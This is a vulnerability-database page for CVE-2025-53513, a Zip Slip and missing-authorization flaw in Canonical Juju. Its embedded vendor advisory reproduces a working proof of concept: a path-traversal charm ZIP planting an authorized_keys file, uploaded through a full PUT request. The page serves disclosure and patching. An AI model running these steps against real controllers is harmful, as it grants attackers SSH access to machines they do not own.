Vulnerability-Lookup

CVE-2025-53513 (GCVE-0-2025-53513)

Vulnerability from cvelistv5 – Published: 2025-07-08 16:57 – Updated: 2025-07-09 14:00

Title

Zip slip vulnerability in Juju

Summary

The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-07-09 14:00 UTC

CWE

CWE-24 - Path Traversal: '../filedir'

Assigner

canonical mitre root

References

1 reference

URL	Tags
https://github.com/juju/juju/security/advisories/…

Impacted products

1 product

Vendor	Product	Version	CPE status
Canonical	Juju	Affected: 2.0.0 , < 2.9.52 (semver) Affected: 3.0.0 , < 3.6.8 (semver)	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-53513",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-07-09T14:00:06.132356Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-07-09T14:00:10.613Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "collectionURL": "https://juju.is/",
          "defaultStatus": "unaffected",
          "packageName": "juju",
          "platforms": [
            "Linux"
          ],
          "product": "Juju",
          "repo": "https://github.com/juju/juju",
          "vendor": "Canonical",
          "versions": [
            {
              "lessThan": "2.9.52",
              "status": "affected",
              "version": "2.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.6.8",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm."
        }
      ],
      "impacts": [
        {
          "descriptions": [
            {
              "lang": "en",
              "value": "A charm that exploits a Zip Slip vulnerability may be used to gain access to a machine running a unit that uses the affected charm."
            }
          ]
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          },
          "format": "CVSS",
          "scenarios": [
            {
              "lang": "en",
              "value": "GENERAL"
            }
          ]
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-24",
              "description": "CWE-24: Path Traversal: \u0027../filedir\u0027",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-07-08T16:57:06.351Z",
        "orgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
        "shortName": "canonical"
      },
      "references": [
        {
          "url": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
        }
      ],
      "source": {
        "advisory": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8",
        "discovery": "INTERNAL"
      },
      "title": "Zip slip vulnerability in Juju"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cc1ad9ee-3454-478d-9317-d3e869d708bc",
    "assignerShortName": "canonical",
    "cveId": "CVE-2025-53513",
    "datePublished": "2025-07-08T16:57:06.351Z",
    "dateReserved": "2025-07-02T08:52:42.037Z",
    "dateUpdated": "2025-07-09T14:00:10.613Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2025-53513",
      "date": "2026-09-14",
      "epss": "0.00662",
      "percentile": "0.49718"
    },
    "nvd": "{\"cve\":{\"id\":\"CVE-2025-53513\",\"sourceIdentifier\":\"security@ubuntu.com\",\"published\":\"2025-07-08T17:16:04.593\",\"lastModified\":\"2026-06-17T09:38:21.630\",\"vulnStatus\":\"Analyzed\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.\"},{\"lang\":\"es\",\"value\":\"El endpoint /charms de un controlador Juju carec\u00eda de suficientes comprobaciones de autorizaci\u00f3n, lo que permit\u00eda a cualquier usuario con una cuenta en el controlador cargar un charm. Cargar un charm malicioso que explota una vulnerabilidad de Zip Slip podr\u00eda permitir a un atacante acceder a una m\u00e1quina que ejecuta una unidad a trav\u00e9s del charm afectado.\"}],\"affected\":[{\"source\":\"security@ubuntu.com\",\"affectedData\":[{\"vendor\":\"Canonical\",\"product\":\"Juju\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://juju.is/\",\"packageName\":\"juju\",\"platforms\":[\"Linux\"],\"repo\":\"https://github.com/juju/juju\",\"versions\":[{\"version\":\"2.0.0\",\"lessThan\":\"2.9.52\",\"versionType\":\"semver\",\"status\":\"affected\"},{\"version\":\"3.0.0\",\"lessThan\":\"3.6.8\",\"versionType\":\"semver\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security@ubuntu.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\",\"baseScore\":8.8,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"HIGH\"},\"exploitabilityScore\":2.8,\"impactScore\":5.9},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N\",\"baseScore\":6.5,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"NONE\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":3.6}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2025-07-09T14:00:06.132356Z\",\"id\":\"CVE-2025-53513\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security@ubuntu.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-24\"}]},{\"source\":\"nvd@nist.gov\",\"type\":\"Primary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*\",\"versionEndExcluding\":\"2.9.52\",\"matchCriteriaId\":\"BDDA8B5D-2A59-4D74-BDB0-4FAA6391633D\"},{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*\",\"versionStartIncluding\":\"3.0\",\"versionEndExcluding\":\"3.6.8\",\"matchCriteriaId\":\"35DFEE18-77E0-4FA2-801C-6B77B7C53B00\"}]}]}],\"references\":[{\"url\":\"https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8\",\"source\":\"security@ubuntu.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]}]}}",
    "redhat_vex": {
      "current_release_date": "2025-07-10T17:18:08+00:00",
      "cve": "CVE-2025-53513",
      "id": "CVE-2025-53513",
      "initial_release_date": "2025-01-01T00:00:00+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "Zip slip vulnerability in Juju",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-53513.json",
      "version": "3"
    },
    "suse_vex": {
      "aggregate_severity": "important",
      "current_release_date": "2026-05-10T01:07:56Z",
      "cve": "CVE-2025-53513",
      "id": "CVE-2025-53513",
      "initial_release_date": "2025-08-06T02:53:05Z",
      "product_status:recommended": "2",
      "source": "SUSE CSAF VEX",
      "status": "interim",
      "title": "SUSE CVE CVE-2025-53513",
      "url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2025-53513.json",
      "version": "5"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2025-53513\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"poc\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2025-07-09T14:00:06.132356Z\"}}}], \"references\": [{\"url\": \"https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2025-07-09T14:00:00.646Z\"}}], \"cna\": {\"title\": \"Zip slip vulnerability in Juju\", \"source\": {\"advisory\": \"https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8\", \"discovery\": \"INTERNAL\"}, \"impacts\": [{\"descriptions\": [{\"lang\": \"en\", \"value\": \"A charm that exploits a Zip Slip vulnerability may be used to gain access to a machine running a unit that uses the affected charm.\"}]}], \"metrics\": [{\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 8.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"HIGH\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}, \"scenarios\": [{\"lang\": \"en\", \"value\": \"GENERAL\"}]}], \"affected\": [{\"repo\": \"https://github.com/juju/juju\", \"vendor\": \"Canonical\", \"product\": \"Juju\", \"versions\": [{\"status\": \"affected\", \"version\": \"2.0.0\", \"lessThan\": \"2.9.52\", \"versionType\": \"semver\"}, {\"status\": \"affected\", \"version\": \"3.0.0\", \"lessThan\": \"3.6.8\", \"versionType\": \"semver\"}], \"platforms\": [\"Linux\"], \"packageName\": \"juju\", \"collectionURL\": \"https://juju.is/\", \"defaultStatus\": \"unaffected\"}], \"references\": [{\"url\": \"https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8\"}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-24\", \"description\": \"CWE-24: Path Traversal: \u0027../filedir\u0027\"}]}], \"providerMetadata\": {\"orgId\": \"cc1ad9ee-3454-478d-9317-d3e869d708bc\", \"shortName\": \"canonical\", \"dateUpdated\": \"2025-07-08T16:57:06.351Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2025-53513\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2025-07-09T14:00:10.613Z\", \"dateReserved\": \"2025-07-02T08:52:42.037Z\", \"assignerOrgId\": \"cc1ad9ee-3454-478d-9317-d3e869d708bc\", \"datePublished\": \"2025-07-08T16:57:06.351Z\", \"assignerShortName\": \"canonical\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.1"
    }
  }
}

FKIE_CVE-2025-53513

Vulnerability from fkie_nvd - Published: 2025-07-08 17:16 - Updated: 2026-06-17 09:38

Severity

8.8 (High) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security@ubuntu.com	https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8	Exploit, Vendor Advisory
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	canonical	juju	*
	canonical	juju	*

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "collectionURL": "https://juju.is/",
          "defaultStatus": "unaffected",
          "packageName": "juju",
          "platforms": [
            "Linux"
          ],
          "product": "Juju",
          "repo": "https://github.com/juju/juju",
          "vendor": "Canonical",
          "versions": [
            {
              "lessThan": "2.9.52",
              "status": "affected",
              "version": "2.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.6.8",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "security@ubuntu.com"
    }
  ],
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "BDDA8B5D-2A59-4D74-BDB0-4FAA6391633D",
              "versionEndExcluding": "2.9.52",
              "vulnerable": true
            },
            {
              "criteria": "cpe:2.3:a:canonical:juju:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "35DFEE18-77E0-4FA2-801C-6B77B7C53B00",
              "versionEndExcluding": "3.6.8",
              "versionStartIncluding": "3.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "The /charms endpoint on a Juju controller lacked sufficient authorization checks, allowing any user with an account on the controller to upload a charm. Uploading a malicious charm that exploits a Zip Slip vulnerability could allow an attacker to gain access to a machine running a unit through the affected charm."
    },
    {
      "lang": "es",
      "value": "El endpoint /charms de un controlador Juju carec\u00eda de suficientes comprobaciones de autorizaci\u00f3n, lo que permit\u00eda a cualquier usuario con una cuenta en el controlador cargar un charm. Cargar un charm malicioso que explota una vulnerabilidad de Zip Slip podr\u00eda permitir a un atacante acceder a una m\u00e1quina que ejecuta una unidad a trav\u00e9s del charm afectado."
    }
  ],
  "id": "CVE-2025-53513",
  "lastModified": "2026-06-17T09:38:21.630",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security@ubuntu.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-53513",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2025-07-09T14:00:06.132356Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2025-07-08T17:16:04.593",
  "references": [
    {
      "source": "security@ubuntu.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
    }
  ],
  "sourceIdentifier": "security@ubuntu.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-24"
        }
      ],
      "source": "security@ubuntu.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

GHSA-24CH-W38V-XMH8

Vulnerability from github – Published: 2025-07-09 15:29 – Updated: 2025-08-26 20:20

Summary

Juju zip slip vulnerability via authenticated endpoint

Details

Impact

Any user with a Juju account on a controller can upload a charm to the /charms endpoint. No specific permissions are required - it's just sufficient for the user to exist in the controller user database. A charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.

Details

A controller exposes three charm-related HTTP API endpoints, as follows: - PUT/GET https://:17070/model-/charms/- - POST/GET https://:17070/model-/charms - GET https://:17070/charms

These endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.

To reproduce:

juju bootstrap
juju add-user testuser
juju change-user-password testuser

Download the ZIP file of an arbitrary charm eg https://github.com/juju/hello-juju-charm

Download and install the following tool: https://github.com/usdAG/slipit

Run the following command to generate a new SSH key pair: ssh-keygen

Copy the contents of the newly created public key into a file called authorized_keys

Run the following command to inject the malicious path into the ZIP file:

slipit hello.zip authorized_keys --separator ../../../../../../home/
ubuntu/.ssh/

Send the PUT request below to a model on the target controller. Note the following: - the model UUID and controller IP address in the request must be updated - the Juju-Curl header needs to be sent with a value that starts with the “local:” string - the PUT body content should have the exact contents of the ZIP file - the Basic Authorization header should be tied to the user that was created above - the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. pathtw-<updated-sha>) -

PUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c
HTTP/1.1
Host: 10.4.154.217:17070
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko
/20100101 Firefox/135.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
Content-Length: 40021
Content-Type: application/zip
Juju-Curl: local:pathtw
Authorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==
<ZIP BODY Content>

Observe that the response states that the charm has been uploaded.

Attempt to SSH to the controller by using the private key that was generated above.

Observe that it is possible to authenticate because the file has been overwritten.

Code

The /charms handlers are registered here https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897 https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990

And the only auth required is that the incoming request be for an authenticated user

https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754

but no specific permission checks are done.

Workarounds

There are no known workarounds.

References

F-02

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250619215741-6356e984b82a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53513"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-24"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-09T15:29:03Z",
    "nvd_published_at": "2025-07-08T17:16:04Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n\nAny user with a Juju account on a controller can upload a charm to the /charms endpoint.\nNo specific permissions are required - it\u0027s just sufficient for the user to exist in the controller user database.\nA charm which exploits the zip slip vulnerability may be used to allow such a user to get access to a machine running a unit using the affected charm.\n\n### Details\n\nA controller exposes three charm-related HTTP API endpoints, as follows:\n- PUT/GET https://\u003ccontroller-ip\u003e:17070/model-\u003cmodel-uuid\u003e/charms/\u003cnameofcharm\u003e-\u003chashofcharm\u003e\n- POST/GET https://\u003ccontroller-ip\u003e:17070/model-\u003cmodel-uuid\u003e/charms\n- GET https://\u003ccontroller-ip\u003e:17070/charms\n\nThese endpoints require Basic HTTP authentication credentials and will accept any valid user within the context of the controller. A user that has no specific permission or access granted can call all of these APIs.\n\nTo reproduce:\n\n```\njuju bootstrap\njuju add-user testuser\njuju change-user-password testuser\n```\n\nDownload the ZIP file of an arbitrary charm eg [https://github.com/juju/hello-juju-charm](https://github.com/juju/hello-juju-charm)\n\nDownload and install the following tool: [https://github.com/usdAG/slipit](https://github.com/usdAG/slipit)\n\nRun the following command to generate a new SSH key pair: `ssh-keygen`\n\nCopy the contents of the newly created public key into a file called `authorized_keys`\n\nRun the following command to inject the malicious path into the ZIP file:\n```\nslipit hello.zip authorized_keys --separator ../../../../../../home/\nubuntu/.ssh/\n```\n\nSend the PUT request below to a model on the target controller. Note the following:\n- the model UUID and controller IP address in the request must be updated\n- the Juju-Curl header needs to be sent with a value that starts with the \u201clocal:\u201d string\n- the PUT body content should have the exact contents of the ZIP file\n- the Basic Authorization header should be tied to the user that was created above\n- the first time that the request is sent, an error will be returned that states that the SHA hash in the URL is invalid. When this occurs, copy the value in the response and replace it in the final part of the URL (i.e. `pathtw-\u003cupdated-sha\u003e`)\n- \n```\nPUT /model-34bb5ef0-5a3e-41d7-873c-2f884adf606d/charms/pathtw-5c9f25c\nHTTP/1.1\nHost: 10.4.154.217:17070\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko\n/20100101 Firefox/135.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\nTe: trailers\nConnection: keep-alive\nContent-Length: 40021\nContent-Type: application/zip\nJuju-Curl: local:pathtw\nAuthorization: Basic dXNlci10ZXN0dXNlcjpwYXNzd29yZA==\n\u003cZIP BODY Content\u003e\n```\n\nObserve that the response states that the charm has been uploaded.\n\nAttempt to SSH to the controller by using the private key that was generated above.\n\nObserve that it is possible to authenticate because the file has been overwritten.\n\n### Code\n\nThe /charms handlers are registered here\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990\n\nAnd the only auth required is that the incoming request be for an authenticated user\n\nhttps://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754\n\nbut no specific permission checks are done.\n\n### Workarounds\nThere are no known workarounds.\n\n### References\n[F-02](https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view)",
  "id": "GHSA-24ch-w38v-xmh8",
  "modified": "2025-08-26T20:20:46Z",
  "published": "2025-07-09T15:29:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-24ch-w38v-xmh8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53513"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/6356e984b82a4a7b9771ff5e51e297ad62f3b405"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/ff39557a137c0e95d4cd3553b0f19c859c6f5d8e"
    },
    {
      "type": "WEB",
      "url": "https://drive.google.com/file/d/1pHRNiaA8LyMVJYwIyTqelsqJ9FmImDf0/view"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L754"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/blob/3.6/apiserver/apiserver.go#L990"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3804"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Juju zip slip vulnerability via authenticated endpoint"
}

OPENSUSE-SU-2025:15405-1

Vulnerability from csaf_opensuse - Published: 2025-08-04 00:00 - Updated: 2025-08-04 00:00

Summary

govulncheck-vulndb-0.0.20250730T213748-1.1 on GA media

Severity

Moderate

Scope

56 vulnerabilities in this advisory, including CVE-2025-53513.

CVE-2025-53513

Recommended: 4 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.

Action not permitted

CVE-2025-53513 (GCVE-0-2025-53513)

FKIE_CVE-2025-53513

GHSA-24CH-W38V-XMH8

Impact

Details

Code

Workarounds

References

OPENSUSE-SU-2025:15405-1

Tags

Sightings

Nomenclature